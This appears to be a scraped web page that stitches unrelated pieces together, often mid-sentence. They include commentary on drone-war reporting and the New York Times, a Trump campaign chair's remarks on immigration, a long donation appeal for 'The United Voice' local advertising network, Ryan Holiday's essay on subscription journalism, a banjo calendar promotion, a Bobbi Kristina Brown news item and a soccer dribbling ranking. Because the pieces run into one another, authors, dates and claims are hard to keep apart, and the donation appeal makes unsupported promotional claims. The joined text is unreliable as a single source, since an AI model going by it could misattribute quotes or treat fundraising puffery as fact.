President Barack Obama’s drone wars have unexpectedly become the basis for an onslaught of recent news articles, thanks largely to a leaked memo published by NBC this week that shows how the White House justifies the extrajudicial killing of American citizens with drones. Additionally, Mr. Brennan will testify before Congress on Thursday afternoon before lawmakers agree to confirm him for CIA chief, where he is expected to take the helm of a shadow drone war that, as the Times and Post will admit, has been purposely shielded from the public.
"The decision not to publish is a shameful one. The national security standard has to be very high, perhaps imminent danger," Lehigh University journalism professor Dr. Jack Lule tells the Guardian. "The fact that we are even having a conversation about whether it was a national security issue should have sent alarm bells off to the editors. I think the real reason was that the administration did not want to embarrass the Saudis – and for the US news media to be complicit in that is craven."
Also up for question, though, is why the Post, Times and other opted to keep quiet on the Saudi base while at the same time publishing articles considered detrimental to national security. The New York Times may have refrained from publishing Saudi drone articles under the guise of protecting America, but the paper sang a different tune when it came to a top-secret cyberwar that was approved by both the George W. Bush and Barack Obama administrations. When the Times formally linked the White House last year to the Stuxnet worm that targeted Iranian nuclear facilities, Senate Intelligence Committee Chairwoman Dianne Feinstein demanded a probe belaunched to investigate any administrative leaks.
“I am deeply disturbed by the continuing leaks of classified information to the media, most recently regarding alleged cyber efforts targeting Iran’s nuclear program,” the senator said last June. “This is like an avalanche. It is very detrimental and, candidly, I found it very concerning,” she said. “There’s no question that this kind of thing hurts our country,”
Following the Times’ confirmation regarding America’s role in Stuxnet and the larger so-called ‘Olympic Games’ program launched against Iran, Sen. John McCain (R-Arizona) suggested the leak was a publicity stunt from the Obama administration. “The only conceivable motive for such damaging and compromising leaks of classified information is that it makes the president look good,” McCain said at the time. “They are merely gratuitous and utterly self-serving.”
That isn’t to say, though, that the Times haven’t helped out the White House before. A series of articles penned by Times reporter Judith Miller before and during the George W. Bush administration tied weapons of mass destruction to Iraqi leader Saddam Hussein. Senior officials in the Bush cabinet would cite those articles in justifying the start of the Iraq War under Pres. G.W. Bush, only for her role with the paper to be terminated for that very reason in 2005. Not, however, before the paper could clarify her errors:
"Ms. Miller may still be best known for her role in a series of Times articles in 2002 and 2003 that strongly suggested Saddam Hussein already had or was acquiring an arsenal of weapons of mass destruction… Many of those articles turned out to be inaccurate,” then-public editor Byron Calame wrote at the time.
Then just last year, watchdog organization Judicial Watch unearthed emails that showed a New York Times staffer sharing an op-ed critical of the White House with a CIA source days before publication.
“[T]his didn’t come from me… and please delete after you read,” Times reporter Mark Mazzetti wrote in an email to CIA spokeswoman Marie Harf, as obtained by Judicial Watch. The message went on to include an excerpt of a Maureen Dowd column that critiqued the spy agency’s role in supplying Hollywood with sensitive material to be used in the Osama bin Laden blockbuster ‘Zero Dark Thirty.’
“This action was a mistake that is not consistent with New York Times standards,” Eileen Murphy, a spokesperson for the paper, was forced to respond.
As more information develops on America’s drone war this week, though, the Obama administration is for once volunteering information. On Wednesday, the White House informed Congress that Pres. Obama gave the go-ahead for confidential drone memos to be made available to elected lawmakers. Whether or not that material makes it to the press, however, is another issue. Even then, though, it’s up to the media to decide whether or not its worth disclosing the truth about a shadow drone war that has been blamed for hundreds of civilian casualties since Barack Obama took office.Donald Trump’s Arizona campaign chair, Phil Lovas, says Trump doesn’t currently have a plan for dealing with undocumented immigrants.
“Well, what he has said is, we are going to secure the border. Once the border is secure, and that includes building the wall, and that includes increasing the number of ICE agents, establishing a lawful new immigration system, and I think the words he used were 'we will find a way to consider the appropriate disposition of those who remain,’” said Lovas on Bruce St. James and Pamela Hughes on KTAR radio on Friday.
The campaign chair said Trump would channel Mitt Romney, who in 2012 said undocumented immigrants would “self-deport” from the United States.
“He talked about e-verify. If we shut off the magnets in terms of job opportunities and those things for people who are here illegally, Mitt Romney made this point four years ago. People would self-deport. If you cannot find a job and you cannot find opportunity in this country, you are likely to probably leave. If the job opportunities are not there, they will self-deport," added Lovas.
Still, he said, Trump has currently no plan on what do with those here illegally.
“At the end of that, once we have secured the border, built the wall, at that time if there are people who are here illegally, we will figure out what to do with them,” he said. “He didn't have a plan necessarily for those folks right now, but he said we would address that in the future. “Just As Many Musicians Say File Sharing Helps Them As Those Who Say It Hurts
from the and-guess-which-way-that's-t
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and IIS.
I programmed and used MS/sql, Mysql, Oracle, Microsoft C#.Net, Perl, PHP, Java SE4, Netbeans, Bash. Python, and Delphi, depending on what the Migration required.
Brainstorming.
After I met the founder of The United Voice Organization, he asked me a few very important questions, followed by a solution.
The solution brought me out of retirement.
The Questions:
If "75% of all retail spending occurs within fifteen miles from home, across both products and services” and "research has proven that locally-owned businesses generate far greater social and economic benefits to local economies than national chain stores and big box retailers do”,
Then why has no one ever created a community specific, E-commerce infused Multimedia Network for every Zip Code, City, County, State and Region across America?
One that meets the needs of local people and their local business, service and skill providers?
A community specific News and Information Network System that’s automatically created upon User registration?
One that’s produced and populated by local people and their local business, service and skill providers in every single community nationwide?
The Solution/Answer:
That’s what the founder had built and what we’re currently enhancing.
A massive, fully integrated, E-commerce infused Multimedia Network System that surrounds local business, service and skill providers with customers and clients from within their own communities – giving such people and businesses free advertising on their local Network Home pages as well as a free web platform inside 1 of the 3 E-commerce divisions that best meets the needs of their customers and clients!
A User Created (produced and populated) Community News, Event and Area Information Network System that's designed in such a way as to transform a struggling community into a thriving one - on multiple levels - due to being able to unite people of like mind with their area business, service and skill providers and more.
A Network System that's so usefully functional that it will take a huge bite out of the Market Share currently held by the major Social/Search Engine Media Giants we know today, while strengthening the social and economic foundations of communities across America – and beyond!
I was in awe after walking through every aspect of what he'd built.
It's exactly what Main Street America and the world needs.
Personal ACTION! - Not Political Promises and Inaction.
I'm still amazed by how he designed the functions. Check it out:
Basic Stats:
Each Zip Code/City, County, State and Regional E-commerce infused Multimedia Network Home consists of 8 Category Panels.
Each of the 8 Category Panels contain on average 9 social Interactive - user created, produced and populated - Departments within them.
These Departments host on average 40 rotating ad areas. (for those who want deeper and wider advertising within the panel/departments of their choice.)
Combined, each of the 8 Panels create a single Network System with over 70 individual Web/Apps that host more than 325 rotating ad areas.
All locally-owned Business, Service and Skill providers receive free Advertising on each of the 8 Category Panels that create their local (Zip Code/City) Network home page,
As well as a Free Web Platform inside 1 of the 3 E-commerce Divisions that best meet the needs of their customers and clients – the Community Retail Shopping Mall, the Locally Made Market or their Local (Service and Skill) Trade Force Plaza.
Michigan - State Network Masthead Banner Image
For Advertisers: “No Contracts or Commitments – Just better Business, Service and Skill Recognition” TM
Each Network - and their panels - and the departments within each panel - have an individual starting Potential Ad View Value of over 17 million rotations per month at Minimum Advertisers load.
The cost for 17 million potential ad views (Zip/City Network Home Panel) according to the graph below it would cost you $151,285.32 per month via their average CPM marketing rate of: $8.81.
Our Monthly Rate is $12.00!
At Maximum Advertiser load, the minimum Potential Ad View Rate is over 30,000 per month. The cost for 30,000 potential ad views according to the graph below would cost you $264.95 via the averageCPM marketing rate of: $8.81.
Our Monthly Rate is still... $12.00!
Also, don't forget how much your "Keywords" may cost you "per click" on most of the major social/search engine media providers.
Now you know how most of The Social/Search Engine Media providers have made their Billions.
https://www.hochmanconsultants.com/articles/je-hochman-benchmark.shtml graphic
Please keep our benefits in mind; remembering that we need your help in completing some very important and expensive items for the National launch. Please help us financially in every way you can. You'll actually be bringing this network system to your own community. We hope you like it and see the need for what we do on a national and global basis. Help us complete our work.Thank you.
Alan W. Director of Internet Technology : The United Voice.org
Kansas – State Network System Masthead Banner Image
From the President - Ann H.
How we Surround Businesses with Customers and Clients - Locally and Beyond
A List of our Online Operations:
TheUnitedVoice.org ( Accounting: Micro Financing, Awards, Gifts and Offerings, Affiliate Operations, Guardian and Governor Management-Servers/Databases)
Your United Voice.org ( “Echoes OnLine Magazine,” our Monthly online Digital magazine featuring Users who have won Rating Awards for their Posts, Presentations and Productions)
( “Echoes OnLine Magazine,” our Monthly online Digital magazine featuring Users who have won Rating Awards for their Posts, Presentations and Productions) The United Voice.com (multifaceted Network Development Operations - Server/Database)
(multifaceted Network Development Operations - Server/Database) The United Voice.info (Public View Documentation and Data)
A United Voice.com (an Off-load Network community specific site containing Library of Information database/servers)
(an Off-load Network community specific site containing Library of Information database/servers) A United Voice.info (“Site Tutorials” location: IT, Graphics, Print, Audio, Film; Manufacturing and Marketing Servers/Databases)
(“Site Tutorials” location: IT, Graphics, Print, Audio, Film; Manufacturing and Marketing Servers/Databases) My United Voice.com (Personal User Network Home Site Servers and Databases)
(Personal User Network Home Site Servers and Databases) Your United Voice.com (the main social interactive e-commerce infused multimedia network system)
(the main social interactive e-commerce infused multimedia network system) Our United Voice.com (User Audio Program/Stations and Video Production/Channels Servers and Databases)
(User Audio Program/Stations and Video Production/Channels Servers and Databases) The United Voice.net (Our online Network News Affiliates and Association Data Servers)
(Our online Network News Affiliates and Association Data Servers) Everything Local and Beyond.com (Business User Network Home Site locations Servers/ Databases and home for the 3 E-commerce division Servers/ Databases)
(Business User Network Home Site locations Servers/ Databases and home for the 3 E-commerce division Servers/ Databases) E-Lab.global (the shortened URL version for E verything L ocal A nd B eyond )
(the shortened URL version for verything ocal nd eyond ) Our Local Classified Ads.com (Your Community Classified Ad Servers and Databases)
(Your Community Classified Ad Servers and Databases) All American Gardening.com (An E-commerce Healthy Living Research and Development site)
Each of the above domains (web apps) represent a Network that cannot be cost effectively hosted by any web host company including Amazon Web Services. So we had to develop our own Network System using our own IP Addresses, Mainframes, double digit terabytes of memory (and growing), unlimited and redundant Bandwidth, domain Servers and Databases which are individually configured and strategically placed across the web in order to provide impeccable Security Protocols for our Users.
Tier 1 and 2 Internet Pipelines
A partial List of our Operations - In Action:
Personal Users can Read, Write, Create, Shoot, Watch, Rate, Listen to and Comment On most of the 70+ Inter-activity departments including the ability to produce their own Internet Radio Program/Stations and Video Production Program/Channels found inside each Network within our Network Systems.
• Submitting user-authored Articles, Blogs and Columns inside “In Focus” (Text-Image/Internet “Radio” Stations and Video “TV” program Channels)
• Read, Watch, Rate and Comment on Local to Global News “In The Spotlight” (Text-Image/Audio and Video channels)
• Viewing user-created “Finishing Touches” for inside and outside the home (Text-Image/Audio and Video channels)
• Learning about healthy living and eating inside “The Body Shop” (Text-Image/Audio and Video channels)
• Browse the “Local Community Events, News and Gatherings” departments (Text-Image/Audio and Video channels)
• Browsing “Local Specials, Sales and Events” (Text-Image/Audio Commercials and Video Presentations)
• Checking out local “Area Non-Profits and Organizations” platforms (Text-Image/Audio Stations and Video channels)
• Watching, listening to and rating user-created productions “InSight and Sound” (Audio and Video channels.)
• Watching, listening to and rating User Achievements in the “Talk about Talent” channels (Local user-created Athletic Talent Clips and Commentary, Musical Productions, Scholastic Achievements, Tech Studies and Projects, Short Stories & Movies)
• Shopping for local Service and Skill providers in the “Trade Force Plaza” (Text-Image/Audio and Video channels)
• Shopping for Arts and Crafts in “The Locally Made Markets and Beyond” (Text-Image/Audio and Video channels)
• Shopping for locally-owned retail store items in “The Community Shopping Mall” (Text-Image/Audio & Video channels)
• Keeping an eye on or contributing to the “Free Classified Ads” department (Text-Image/Audio and Video channels)
• Checking out "Your Local Weather Outlook" module. Scrolling Weather - News and Alerts and Educational Channels.
• Finding “Public Service/Information” with map-to features, open hours and contact information (City, County, State and Federal jurisdiction specific)
And, the above is only 15 of 70+ (Web/App) Departments inside each of the E-commerce infused Multimedia Network System that we're providing to our Personal and Business Users.
An old mock-up of our User Created News Wire
The Big Picture
The partial list of User Activities above creates a environment:
Where a National Network System can effectively become a ‘Community Keystone’ that bridges the gap between local people and their local business, service and skill providers while strengthening the local/social and economic foundation of each community.
Where area Business, Service and Skill providers can be seen in unprecedented ways;
Where mentors, tutors, teachers and coaches in many fields of study can be found and called upon;
Where unknown talent can become well known - locally and Beyond via a Ratings System that honors all types of achievement.
Where all Registered Business, Service and Skill providers are featured on each of the 8 Panels that create their local Zip Code/City Home Network for FREE.
NATIONAL EXPANSION MADE EASY
Pre-Registering A Business, Service and Skill ProviderOur Personal Users are able to Pre-register business, service and skill providers so that they can begin receiving the free benefits that our network systems automatically offer. The pre-registered business will be able to be seen in the E-commerce division that best meets the needs of their clients and customers, as well as begin receiving free advertising on their local Zip/City Network Home Site.
We do this in the hope that both the Personal User and the Business user will begin to experience the benefits of what our Network system has to offer. Imagine how that Business will feel when they learn that someone cared enough about them to pre-register them to provide them with free advertising. How will they thank the person who did this for them?
Benefit: Both the pre-registered Business, the personal Users and the non-registered Network Viewer will be able to ‘get to know’ who and what that business, service and skill provider has to offer - not to mention Your United Voice Network System quickly becoming the premier place to go when you want to find something Local...and Beyond!
Our Affiliate Program
All Registered Users are automatic participants inside of our Affiliate Program. Our Program pays the Registered User 20% of every Ad Dollar spent by a business, service or skill provider that they’ve invited to Your United Voice Network System - month in and month out.
How many people do you know who might like some extra money? And what better way than to help business, service and skill providers to be seen locally...and Beyond!
Benefit: Our Affiliates will not only be happy about the Income they’re receiving, but will no doubt to tell others about all that we do for people and business near and far.
Our “TIP” Programs For those people who would like to “TIP” their favorite Business, Service and Skill provider, we’ve made a way for them to do so; with all Tips going to that business’ Network Advertising Account; which is to say: Businesses no longer have to pay for the Promotions they desire.
Imagine how a business, service or skill provider will feel when they’re notified that a Tip has been made to their Your United Voice Network account! This services allows our users to help their favorite Business or Service or Skill provider receive greater recognition and promotion inside the network(s) of their choice. Personalized Notifications from the Tipper are automatically sent to the ‘Tipee’ when a Tip has been made.
Benefit: 8 entities are helped by this single program: The Business, The Affiliate and Your United Voice Network, as well as the Community, City, County, State and Federal Government.
The actions of Pre-Registration, the Affiliate Program and the Tips Program create an environment where people and businesses are engaged in making things better for one and all. It many not be readily seen in the beginning, but good things take time to grow in some instances.
Your United Voice Network Systems endeavor to create environments of mutual reciprocity - a circle of community care and development – through which people and businesses in their communities can work together while being transformed from struggling to thriving!
Welcome to “Your United Voice.com”TM
Your Network for “Everything Local and Beyond.com”TM (E-lab.global)
“No Contracts or Commitments – Just better Business, Service and Skill Recognition”TM
“Changing the way People and Businesses use the Web”TM
“Helping you in your Efforts to Help Others”TM
If you admire what we're doing - please help us get this network in your hands. One thing I did not mention is this Network was completely functional and operational (but not publicly) when something happened to the original source code. We've spent 18 months recoding and tooling everything. Thankfully Alan is now our IT Director and knows how to prevent such a disaster from ever happening again.
So, please, donate every dime you can spare and help us finish our final coding and tooling so it can become a part of your community.
Thank You!
Ann H. - President
Oregon - State Network Masthead Banner Image
From the Founder - Justin P.
The Social/Search Engine Media Titans have made Billions upon Billions of dollars off the backs of small businesses - leading them down their marketing mine shafts while leaving those businesses with the task of still having to fly their Sites as if they were kites in a cloud of competition, hoping that lightning will strike that single person looking for them, resulting in a client, customer or sell.
But at what cost?
And when these businesses needed help in a failing economy from 2007 to the present, did these Titans of Industry:
Ever come to the rescue?
Did they come with some form of aid?
With lower prices maybe?
Or more cost effective marketing options?
Something?
Anything?
Nope.
Nothing at all.
But they sure racked up a few new Billions, didn't they?
Even if they did decide to help, it wouldn't have worked.
Why?
Because their business models have never been able to do what our operations do. Their marketing models were needed when the web was young. They're just outdated now, and are ineffective in meeting the needs of local people and their local businesses and beyond. That includes the Map Placements. Read more here.
Therefore, they're going to lose a large portion of their market share due to how we serve people and service businesses in every community locally and beyond! Globally actually.
Why?
It's best if you read what TechHive, MonetizePros, Forbes, AdWeek, T SpamLaws, The Wall Street Journal, Law360, Entrepreneur, AdWords Community and others have said about the Social/Search Engine titans. Read more [here].
The more I read, the more I was able to confirm what's wrong with their marketing constructs and the purveyors of those constructs.
Sure, their marketing constructs may work well for Wall Street Stock concerns, but they have nothing to do with Main Street America concerns.
The fact is - there isn't a community across the globe that doesn't need our user based Network Systems. We're here to serve People and service Businesses in the most effective ways as possible.
Hopefully they too will learn how to effectively serve one another as well. Our children will inherit their efforts.
And that's the point.
So, we quit paying attention to their Social/Search Engine Media Marketing Constructs and built what America and the World needs - locally - and beyond.
We need your help in finishing the final construction and protections. We listed our needs as $100 simply because we need every dollar you can spare during the next 30 days. The more donations we receive the sooner we can finish purchasing the remaining hardware and servicing USPTO material.
Thank You.
Justin P. - Founder
Ohio - State Network Masthead Banner Image
The Team: Ann P. – President
Ann has a background in marketing and advertising, journalism, counseling, social services and micro-enterprise development. While her marketing and advertising campaigns won awards, exceeded goals and increased shareholder profitability, her true passion is to help under-served men and women turn adversity into opportunity. 15 years ago, Ann made a career shift into social services, working with children and their families to achieve healthy functioning and to preserve the family unit.
During this time, Ann came to realize one of the contributing factors in struggling families was a breakdown in social support and a lack of viable opportunities to create income. She discovered the work of Mr. Yunus in developing the concept of micro-enterprises in India and the opportunities this movement was giving to under-served people to socially and economically strengthen their own lives, as well as communities.
In 2006, she was offered an opportunity to use these fundamental ideas as a seed to grow micro-enterprises in Sarajevo, Bosnia and Herzegovina during a year in which she worked with female victims of the war in Bosnia. Through one-on-one management training and group skills development, the micro-businesses she developed are still at work today, providing basic needs for these women and a social network of practical support where none had previously existed.
Since 2012, Ann has been working with The United Voice Organization due to its vision for developing and supporting local micro-businesses: a catalyst for positive, self-sustaining community change. She looks forward to utilizing her strong capacity for making connections with people from diverse cultures and all walks of life to the ongoing work of this organization’s mission.
Justin P. – Founder/Director of Operations
Justin launched his first print publication in 1983. He also created, manufactured and distributed an audio device called “Cameron” in the mid-80’s. He used the proceeds to develop and fund a free, Christ centered, drug and alcohol treatment center in order to help people recover from addiction.
In 1999 he began processing new statistical information stemming from the Consumer Sentiment Feedback Reports that gave rise to what Alan W. calls “The first Universe ever created in Cyberspace.” In 2008 he began combining Digital/Print, Audio/Radio and Video/Film into one Network while adding to them everything People and businesses need and want most.
“It’s been the hardest thing I've ever done - twice. But also the most rewarding. It’s a witty invention that brings me to my knees when I see the multifaceted nature of all its functions and designs in the hands of people and businesses.
"It’s really all about helping [people] lead by example and sharing something more than what was originally asked for or needed while lifting up the hands that hang down; strengthening the feeble knees. It’s really not much more than that... but isn't that really all that matters? Helping people in their efforts to help others?" Justin’s ability to create symbiotic relationships with key people in key industries adds to his ability in strengthening the overall marketing results and growth of the operations.
Justin's main focus is on "Collective Security and Privacy for our Users; defending people and businesses from viruses, hackers, disingenuous people and junk marketing constructs that enjoy taking advantage of the limited knowledge of people and businesses. Our User will be well cared for and protected. Indeed.”
Michele H. – CFO
Michele has been an accountant for a national top 200 Industrial Construction Contracting firm for 12 years, a Winner of the Exxon/Mobil “Global Project Excellence Award”. She fell in love with the mission of [the operation] and is actively waiting to “make the move over to an organization that is more than worthy of my talents and abilities.”
Irina A. – Director of IT Graphics
Irina is a senior web developer with more than 10 years experience in creating dynamic websites and e-commerce applications using XHTML,CSS, JavaScript, jQuery, PHP and MySQL. She has designed and programmed many applications from scratch. She loves her work and has seasoned skills in WordPress, Jommla!, Magento, OpenCart, Zen Cart applications, integrating gateway payments Paypal, Authorize. net for digital and non-digital products, shipping API for FedEx, UPS, USPS. She helped create the first active version of [the operation] before the former hosting company’s migration corrupted all the source code in their upgrade to new servers. “I am glad to be working with Justin again as I have always loved what they’ve been doing; especially now more than ever.”
Alan W. - Director of Internet Technology
I was Web Development Operating systems instructor- College of Western Idaho: Instructor for Web Development Course (Operating Systems). Using VMware, I taught how to install and administrate Linux (Centos, Debian), Windows (Win 7, Server 2008), Unix (FreeBsd), including network concepts, with Web development and Security concepts. I programmed in Delphi 7 / 2006 Studio and.Net Studio (C# 2005 and 2008) for [a governmental jurisdiction] Analyzed the needs of the all departments, programmed solutions for the [Classified]. I wrote Transaction SQL for the Microsoft 2005 SQL Server, and My SQL. Wrote applications for the [Classified] in C#.Net 2005 / 2008 and in Delphi Crime History applications; reports done in client side /server side reporting, all Delphi programs used Crystal Reports.
In November of 2014, I completed a contract with the Hewlett Packard Company and retired: I was the SME (Senior Migration Engineer) for the migration Ross Perot’s worldwide EDS computer systems to Hewlett Packard’s SAR’s systems. I migrated Ross Perot's existing EDS system servers to the Hewlett Packard HPUX systems and made sure they were properly routing Alert Notification Events though a series of database facilities in the following countries: Europe, China, South America, Central America, Mexico, Malaysia, Japan, United States and Canada. I programmed and used MS/sql, Mysql, Oracle, Microsoft C#.Net, Perl, PHP, Java SE4, Netbeans, Bash. Python, and Delphi, depending on what the Migration required. I can currently program in 48 computer languages and can administrate Mysql, MS/sql, Oracle, Firebird and Postgress databases and more. I’ve been the Lead Engineer, Designer and Programmer for many U.S. Department of Defense Projects as well. I was the Lead Programmer and Development Engineer for the Moodle education project in Houston Texas. I was their IT manager and the Lead of the Computer Science Department / Network Administrator. I managed six IT technicians and four IT instructors, and managed / installed all servers. I’ve taught programming in: VB, C++, C#, Html, Java, Perl, Php5, Bash, Ruby, Python, taught networking in: Microsoft, Cisco, Novel, and Unix administration. I’ve taught Operating Systems: Microsoft, XP / 2003 server, Unix (Free-bsd, Linux, and Novel), etc. I’ve taught Database administration: Mysql, MS/sql, Oracel 8i / 10i, and Postgress. I’ve also taught Web administration: Macromedia suites (dreamweaver, coldfusion, and shockwave), PHP5, Perl scripting, ASP.Net, Apache, Crystal Reports, Report Smith, and IIS.” We're here to Help you in your efforts to Help others.
Please help us help you and the people and businesses in your community. Our Networks are like a gift that continually blesses your community every day of the year.
Thank you.
Alan W.
Please enjoy, if you like, a song that's near and dear to our hearts. Thank you. https://youtu.be/OmLNs6zQIHoAs a business, the journalism industry is bipolar. For basically all of its history, it’s been bouncing between two opposing revenue models.
Though many were shocked at the news last week that uber-blogger Andrew Sullivan would be leaving The Daily Beast, opting out of the endless chase for pageviews and switching his blog to a subscription model at $19.99 a year, they shouldn’t have been. It’s nothing new…at all.
Like some inexorable law of physics, journalism has long followed a cycle: For awhile tries to give the news away (or sell it cheap), generally driving the whole profession into the toilet in doing so. Then suddenly the industry rediscovers the long terms benefits and calming effect of selling the product by subscription or otherwise serving its most loyal customers.
It’s a whipsaw effect born mostly out of our impulse to embrace new technology without questioning its implications. The cycle, when you look at it, is almost comical.
Originally, the earliest newspapers (founded or connected to political parties) had solid subscription bases from party members. Then, exploiting newfound mass printing technology around the time of the Civil War, papers—actually called the Penny Press—switched to the Cash & Carry method. Think: a newsboy offering cheap papers filled with ads to busy pedestrians.
If you recall, this had tragic social consequences. One-off sales, though lucrative, often depend on sensationalism, fear-mongering and scandal, because those are the things that break through the noise. They pump up circulation. End result: yellow journalism and the Spanish American War.
Readers and writers and publishers became exhausted and disillusioned with it. When Adolph Ochs took over the New York Times in the 1890s, he came up with the slogan: “All The News That’s Fit to Print.” The runner up? “All The World’s News, but Not a School for Scandal.” Shortly thereafter, the New York Times was the first newspaper to solicit a subscription via telephone. And it was this model that dominated the industry for most of the 20th century—a daily newspaper delivered to your door.
It’s what gave us investigative journalism, Woodward and Bernstein and the Pentagon Papers. There were downsides of course, as Noam Chomsky has noted, but for the most part this system works. Why? Because publishers who deliver a product to paying customers every day need to care about quality and truth. If they don’t, subscriptions dry up.
Flash forward to recent times and we get the same old naivete: new technology makes mass distribution cheaper and easier. The internet discards subscription and paid models to embrace the one-off visitors from search engines, social media and web surfers. The news is free, and to survive, each story must get many pageviews and earn advertising revenue. The result: celebrity slideshows, trolling, linkbait, pseudo-news, conflicts of interest and whatever will get you to click the headline.
The difference between the economic model of the Penny Press and today’s free blogs is, well, a penny. What you read online is free, but yellow newspapers basically were too—the real revenue was in advertising. The two models are otherwise identical in approach, style and shamelessness. And more important, those papers and today’s blogs sell themselves the same way: by shouting louder than their competitors. The distinction between a busy street corner or the crowded pages of Google News is not a big one.
In Los Angeles in 1921, a circulation battle between two newspapers essentially wrecked the career of international star Fatty Arbuckle with a false scandal. It was a stunning wake-up call to the industry and the public. In 2011 and 2012, we saw Julian Assange in similar crosshairs: the same blogs and papers who made him a newsworthy figure suddenly jumped on similarly unproven allegations. Adam Lanza’s brother was wrongly identified by bloggers and reporters all hoping to out-scoop each others.
Like I said, it’s a cycle.
That cycle is a little like an ugly drunken hookup: we wake up the next morning and cannot believe we let it happen. News sold cheaply is rarely news done well. News that’s given away for free to readers who click whatever headline catches their attention? Even worse. It might be more profitable in the short run, but it is not sustainable.
The bitter fight for circulation hits rock bottom somewhere, and the journalists in that system grow to hate what they have become.
Andrew Sullivan, in his announcement last week, described subscription as the “purest, simplest model for online journalism: you, us, and a meter. Period. No corporate ownership, no advertising demands, no pressure for pageviews … just a concept designed to make your reading experience as good as possible, and to lead us not into temptation.”
It’s fitting that the New York Times, roughly 100 years after making the industry-shifting bet on subscription, is the one rolling out the web’s first truly successful paywall. I like that entrepreneurs like Marco Arment are contributing with products like The Magazine. Bloggers are starting to see the undeniable truth: the one-off/ad model is inherently compromising and precipitates a race to the bottom.
The approach does real damage, whether to public figures or to our public discourse. The lean model of journalism practiced by blogs and, increasingly, by cash-bleeding legacy newspapers, is not really any cheaper; the costs are just externalized onto everyone else. You and I subsidize that crap with our time, our energy and our emotions.
Journalism requires a subscription—loyalty between producer and consumer. It’s the only model where the incentives of the publisher and the readers are aligned, where they both are committed to delivering value to each other. Of course the hybrid model* works too, because money still changes hands somewhere. Otherwise the “customer” for the news is advertisers, and advertisers just don’t give a shit. (As someone who buys millions of dollars worth each year, I can tell you the only concern is whether buy makes its money back.)
Would TechCrunch get it wrong less if it had a paying readership of young tech types?
Would Gawker be tolerable if it cared about something other than itself?
Would Huffington Post increase in quality if its customers were you and me instead of Google bots?
Yes. Yes. Yes.
So let’s not call Sullivan’s move an “innovation”. Or herald the New York Times’ for its bold leadership. Because none of this is new. It’s not an advance, it’s a retreat from a foolish venture by tech folks who didn’t bother to look at history.
Let’s stop ignoring the costly lessons of the past. There is a long precedent for the subscription model—hundreds of years of it, in fact—but whatever. These recent moves should send a message that the delusional experiment is over and the rest of the serious blogosphere can give it up.
If you’re doing celebrity gossip or self-help, whatever. Keep giving it away because it isn’t worth much. But if you want to create real, quality journalism that helps people and delivers truth, it’s time to face facts. Switching to a subscription model is not a stunt, nor should it be a negotiating technique as some writers claimed.
It is the only way that real journalism can work.
*The Observer is an interesting hybrid of a local subscription and newsstand paper with a free web presence. The subscription component, in my view, acts as a partial governor against the damaging tendencies of pageview journalism.
Ryan Holiday is the bestselling author of Trust Me I’m Lying: Confessions of a Media Manipulator and a PR strategist for brands and writers. Follow him on Twitter: @RyanHoliday.The Banjo Babes Calendar & Album (and Tour!) is a collective, grassroots celebration of professional women banjo players. Each year, we produce a lighthearted thematic calendar, professional compilation album, and exciting annual tour!
Presenting our sixth-annual release featuring women banjo artists from around the world! Themed "Solidarity, Sister," the Banjo Babes 2019 Compilation Album & Calendar features the music of sixteen top-notch artists. This release of our celebrated project explores the joys and struggles of women through a stellar album and stunning wall calendar. All domestic orders that select USPS Priority Mail as the shipping option will be delivered in time for Christmas!
WIN A BANJO! For the third year, we are thrilled to help create more banjo music in the world by offering Deering Goodtime Banjos up for raffle. All orders placed by December 18th will qualify for our raffle to win of TWO banjos this year! Oh my. Are you as excited as we are? The winners will be announced on December 19th!
Interested in learning more about our featured artists? Click here. And don't forget to check when the Banjo Babes International Showcase Tour is coming to your town!
All of the proceeds from the sales from our website pay for the production of the project, and any money that is made is spent distributing the music far and wide across the globe. Not only do we love you and appreciate your support, but we need you! Thank you to all the artists, fans, supporters, and collaborators alike who have made this joyful project possible each year. We look forward to sharing the ban-joy with you! Thank you for your continued support of our grassroots project celebrating all that is woman and all that is banjo. It has been an incredible six years. Here's to many, many more. Happy Holidays, and ban-joy to all!• Bobbi was submerged in water when her boyfriend, Nick Gordon, and a friend of his found her in the tub. Gordon started CPR while the friend called 911; upon arrival, emergency responders continued life-saving measures. Bobbi was still unresponsive when she arrived at the hospital. (Despite having referred to each other as husband and wife, we're told that Nick and Bobbi Kristina were not legally married.)
• She remains on a ventilator in a comatose state and sources tell E! News that, while possible, chances of her survival seem slim.
• Her father, Houston's ex-husband Bobby Brown, rushed to his daughter's side and is said to be inconsolable. He issued a brief statement: "Privacy is requested in this matter. Please allow for my family to deal with this matter and give my daughter the love and support she needs at this time." Whitney, the controversial Lifetime biopic that focused on Houston's tumultuous relationship with Brown, premiered Jan. 17.
• Authorities have said that they did not find any signs that drugs or alcohol played a role; sources tell us that Bobbi had been doing really well recently, neither drinking nor using drugs. Moreover, another source tells us, "Whatever anyone thinks, Krissi would never try to commit suicide. It wasn't something she would even consider, no matter how low she might be feeling."Your browser does not support HTML5 video tag.Click here to view original GIF
Dribbling is the most visually striking aspect of soccer. The excitement in the game flows from both nearly and actually made goals, and the beauty from the intricate passing and telekinetic movement of a true team. But from a strictly visual perspective, there is no clearer demonstration of mastery than the dribble.
Part of what makes dribbling so compelling is the unique style of each individual player. There are the flashy guys, who attempt audacious feints, flicks, and tricks to get away from their markers and onto highlight reels. There are the speedsters, who concentrate their efforts on finding just that little bit of space to sprint into so that, in a matter of steps, they make themselves uncatchable to their defenders. There are the control experts, whose ability to move at fast speeds and in multiple directions with the ball remaining mere inches from their feet mean that no matter how close the opposition get, they won't be taking the ball. And those are but a few general classifications—themselves not mutually exclusive—from which even further specialization exists among the subspecies of dribblers.
With all this in mind, we have here a list ranking the dribbling prowess of every player likely to start in the Champions League's round of 16, the greatest collection of talent to be found anywhere. I've taken a few liberties in deciding who will and won't start, depending partly on if I wanted to write about the guy or not, but this is at the very least a reasonable list of CL starters.
160. Nemanja Vidic
Vidic is the worst. Since the 2009-10 season, when WhoScored.com first started recording stats, Vidic has six successful dribbles in 124 appearances. It should go without saying, but that is terrible. Usually a center back gets a couple easy dribbles with one of those fake clearance drag backs, but Vidic can't even manage that. Unlike the second worst, Per Mertesacker, he can't even blame gangly, untamable legs for his dribbling incompetence. And Vidic actually looks athletic. Nope, despite being a great professional athlete, Nemanja Vidic is almost completely unable to perform the most basic task his sport requires. It's impressive, when you think about it.
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159. Per Mertesacker
In his three seasons in the Premier League, where he's amassed 79 appearances, the BFG has racked up all of two successful dribbles. Two. At 6' 6" and around 200 pounds, Mertesacker is the embodiment of the height-borne clumsiness that is often (kind of maybe a little unfairly) attributed to fellow giant Peter Crouch.
